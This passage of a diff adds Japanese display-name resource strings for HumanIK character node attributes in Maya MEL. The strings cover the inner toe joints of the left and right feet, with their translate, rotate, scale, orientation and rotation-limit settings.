"HIKCharacterNode", "LeftInFootThumbRy", "左足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRz", "左足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbS", "左足内側の親指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSx", "左足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSy", "左足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSz", "左足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", "左足内側の親指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxis", "左足内側の親指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisx", "左足内側の親指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisy", "左足内側の親指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisz", "左足内側の親指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrient", "左足内側の親指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrientx", "左足内側の親指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrienty", "左足内側の親指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrientz", "左足内側の親指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimit", "左足内側の親指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitx", "左足内側の親指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimity", "左足内側の親指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitz", "左足内側の親指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimit", "左足内側の親指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitx", "左足内側の親指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimity", "左足内側の親指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitz", "左足内側の親指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnablex", "左足内側の親指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnabley", "左足内側の親指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnablez", "左足内側の親指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnablex", "左足内側の親指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnabley", "左足内側の親指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnablez", "左足内側の親指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndex", "左足内側の人差指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexT", "左足内側の人差指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTx", "左足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTy", "左足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTz", "左足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexR", "左足内側の人差指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRx", "左足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRy", "左足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRz", "左足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexS", "左足内側の人差指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSx", "左足内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSy", "左足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSz", "左足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", "左足内側の人差指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxis", "左足内側の人差指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisx", "左足内側の人差指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisy", "左足内側の人差指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisz", "左足内側の人差指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrient", "左足内側の人差指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrientx", "左足内側の人差指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrienty", "左足内側の人差指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrientz", "左足内側の人差指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimit", "左足内側の人差指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitx", "左足内側の人差指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimity", "左足内側の人差指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitz", "左足内側の人差指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimit", "左足内側の人差指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitx", "左足内側の人差指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimity", "左足内側の人差指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitz", "左足内側の人差指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnablex", "左足内側の人差指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnabley", "左足内側の人差指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnablez", "左足内側の人差指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnablex", "左足内側の人差指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnabley", "左足内側の人差指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnablez", "左足内側の人差指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddle", "左足内側の中指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleT", "左足内側の中指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTx", "左足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTy", "左足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTz", "左足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleR", "左足内側の中指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRx", "左足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRy", "左足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRz", "左足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleS", "左足内側の中指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSx", "左足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSy", "左足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSz", "左足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", "左足内側の中指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxis", "左足内側の中指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisx", "左足内側の中指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisy", "左足内側の中指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisz", "左足内側の中指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrient", "左足内側の中指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrientx", "左足内側の中指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrienty", "左足内側の中指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrientz", "左足内側の中指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimit", "左足内側の中指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitx", "左足内側の中指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimity", "左足内側の中指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitz", "左足内側の中指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimit", "左足内側の中指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitx", "左足内側の中指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimity", "左足内側の中指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitz", "左足内側の中指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnablex", "左足内側の中指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnabley", "左足内側の中指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnablez", "左足内側の中指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnablex", "左足内側の中指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnabley", "左足内側の中指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnablez", "左足内側の中指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRing", "左足内側の薬指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingT", "左足内側の薬指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTx", "左足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTy", "左足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTz", "左足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingR", "左足内側の薬指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRx", "左足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRy", "左足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRz", "左足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingS", "左足内側の薬指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSx", "左足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSy", "左足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSz", "左足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", "左足内側の薬指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxis", "左足内側の薬指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisx", "左足内側の薬指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisy", "左足内側の薬指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisz", "左足内側の薬指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrient", "左足内側の薬指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrientx", "左足内側の薬指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrienty", "左足内側の薬指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrientz", "左足内側の薬指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimit", "左足内側の薬指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitx", "左足内側の薬指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimity", "左足内側の薬指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitz", "左足内側の薬指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimit", "左足内側の薬指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitx", "左足内側の薬指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimity", "左足内側の薬指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitz", "左足内側の薬指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnablex", "左足内側の薬指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnabley", "左足内側の薬指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnablez", "左足内側の薬指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnablex", "左足内側の薬指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnabley", "左足内側の薬指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnablez", "左足内側の薬指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinky", "左足内側の小指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyT", "左足内側の小指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTx", "左足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTy", "左足内側の小指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTz", "左足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyR", "左足内側の小指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRx", "左足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRy", "左足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRz", "左足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyS", "左足内側の小指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySx", "左足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySy", "左足内側の小指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySz", "左足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", "左足内側の小指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxis", "左足内側の小指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisx", "左足内側の小指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisy", "左足内側の小指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisz", "左足内側の小指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrient", "左足内側の小指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrientx", "左足内側の小指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrienty", "左足内側の小指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrientz", "左足内側の小指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimit", "左足内側の小指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitx", "左足内側の小指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimity", "左足内側の小指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitz", "左足内側の小指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimit", "左足内側の小指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitx", "左足内側の小指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimity", "左足内側の小指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitz", "左足内側の小指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnablex", "左足内側の小指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnabley", "左足内側の小指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnablez", "左足内側の小指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnablex", "左足内側の小指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnabley", "左足内側の小指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnablez", "左足内側の小指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFinger", "左足内側の追加指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerT", "左足内側の追加指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTx", "左足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTy", "左足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTz", "左足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerR", "左足内側の追加指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRx", "左足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRy", "左足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRz", "左足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerS", "左足内側の追加指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSx", "左足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSy", "左足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSz", "左足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", "左足内側の追加指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxis", "左足内側の追加指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisx", "左足内側の追加指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisy", "左足内側の追加指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisz", "左足内側の追加指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrient", "左足内側の追加指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrientx", "左足内側の追加指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrienty", "左足内側の追加指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrientz", "左足内側の追加指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimit", "左足内側の追加指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitx", "左足内側の追加指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimity", "左足内側の追加指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitz", "左足内側の追加指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimit", "左足内側の追加指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitx", "左足内側の追加指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimity", "左足内側の追加指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitz", "左足内側の追加指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnablex", "左足内側の追加指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnabley", "左足内側の追加指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnablez", "左足内側の追加指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnablex", "左足内側の追加指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnabley", "左足内側の追加指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnablez", "左足内側の追加指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumb", "右足内側の親指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbT", "右足内側の親指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTx", "右足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTy", "右足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTz", "右足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbR", "右足内側の親指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRx", "右足内側の親指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRy", "右足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRz", "右足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbS", "右足内側の親指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSx", "右足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSy", "右足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSz", "右足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", "右足内側の親指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxis", "右足内側の親指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisx", "右足内側の親指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisy", "右足内側の親指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisz", "右足内側の親指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrient", "右足内側の親指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrientx", "右足内側の親指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrienty", "右足内側の親指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrientz", "右足内側の親指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimit", "右足内側の親指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitx", "右足内側の親指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimity", "右足内側の親指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitz", "右足内側の親指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimit", "右足内側の親指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitx", "右足内側の親指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimity", "右足内側の親指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitz", "右足内側の親指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnablex", "右足内側の親指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnabley", "右足内側の親指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnablez", "右足内側の親指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnablex", "右足内側の親指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnabley", "右足内側の親指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnablez", "右足内側の親指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndex", "右足内側の人差指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexT", "右足内側の人差指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTx", "右足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTy", "右足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTz", "右足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexR", "右足内側の人差指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRx", "右足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRy", "右足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRz", "右足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexS", "右足内側の人差指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexSx", "右足内側の人差指 Sx" ); +setAttrNiceNameResource( 